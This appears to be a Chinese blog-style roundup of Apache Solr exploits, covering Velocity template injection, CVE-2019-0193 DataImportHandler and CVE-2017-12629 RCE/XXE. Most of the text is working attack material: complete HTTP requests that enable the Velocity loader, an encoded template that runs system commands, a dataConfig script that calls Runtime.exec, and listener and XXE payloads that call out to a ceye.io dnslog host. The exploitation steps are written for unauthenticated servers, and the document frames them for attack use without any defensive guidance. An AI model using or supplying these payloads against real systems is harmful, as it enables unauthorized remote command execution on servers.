solr常见漏洞汇总

solr简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

Velocity模板注入RCE漏洞

影响范围:

Apache Solr 5.x - 8.2.0,存在config API版本

背景:

由于Solr默认未开启登录认证,只需请求 /节点名/config,将配置项 params.resource.loader.enabled设置为 true(默认是false),再构造链接即可让Solr中的 Velocity模版引擎渲染传入的 恶意模版,造成命令执行。

利用方法

前提:

  • 攻击者需要知道Solr服务中Core的名称才能执行攻击
  • /solr/test/config中搜索若该参数params.resource.loader.enabled对应的值为true(非必须)

利用方式:

1.当params.resource.loader.enabled的值为false时,将其参数修改为true,否则忽略此步。

POST /solr/test/config HTTP/1.1 //修改test
Host: 172.26.1.173:8983
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
  }
}

2.执行poc

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

CVE-2019-0193

漏洞描述:

此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

漏洞版本:

Apache Solr < 8.2.0

漏洞利用的前提条件

1.Solr有一个具有dataimport功能的core,这个功能需要在这个core对应的 solrconfig.xml配置文件中指定 requestHandler节点的class属性为 solr.DataImportHandler。

2.Solr未开启认证(默认未开启认证),在这种情况下,Solr Admin UI上的操作是不需要登录凭据的。

利用方式:

1.我们可以通过接口 curl http://ip:8983/solr/admin/cores 来获取所有 core 信息。
2.http://ip:8983/solr/test/admin/mbeans?cat=QUERY&wt=json (修改test为刚才获取到的core)访问该链接,若存在org.apache.solr.handler.dataimport.DataImportHandler 则有该漏洞。
3.构造poc。

POST /solr/<your_core_name>/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("id");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

CVE-2017-12629

漏洞版本:

Apache Solr before 7.1.0 with Apache Lucene before 7.1

CVE-2017-12629共有两个漏洞,一个rce,一个xxe。

rce:
RCE存在于核心的config模块,主要是 RunExecutableListener创建的侦听器带来的问题。
用dnslog的payload:

{
  "add-listener" : {
"event":"newSearcher",
"name":"rabbit_rce",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://rce.xxxxx.ceye.io/rce_test"]
  }
}

xxe:
构造Payload:

http://ip:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://rce.xxx.ceye.io/xxe_test"><a></a>'}&wt=xml

当Solr解析这个请求时,它会发出一个HTTP请求http://xxx.xxxxx.ceye.io/xxe_test 并将其内容定义为DOCTYPE。

/solr/demo/select?q={!xmlparser%20v=%27<!DOCTYPE%20a%20SYSTEM%20"http://rce.xxx.ceye.io/xxe_test"><a></a>%27}&wt=xml

注:使用该payload需要进行url编码。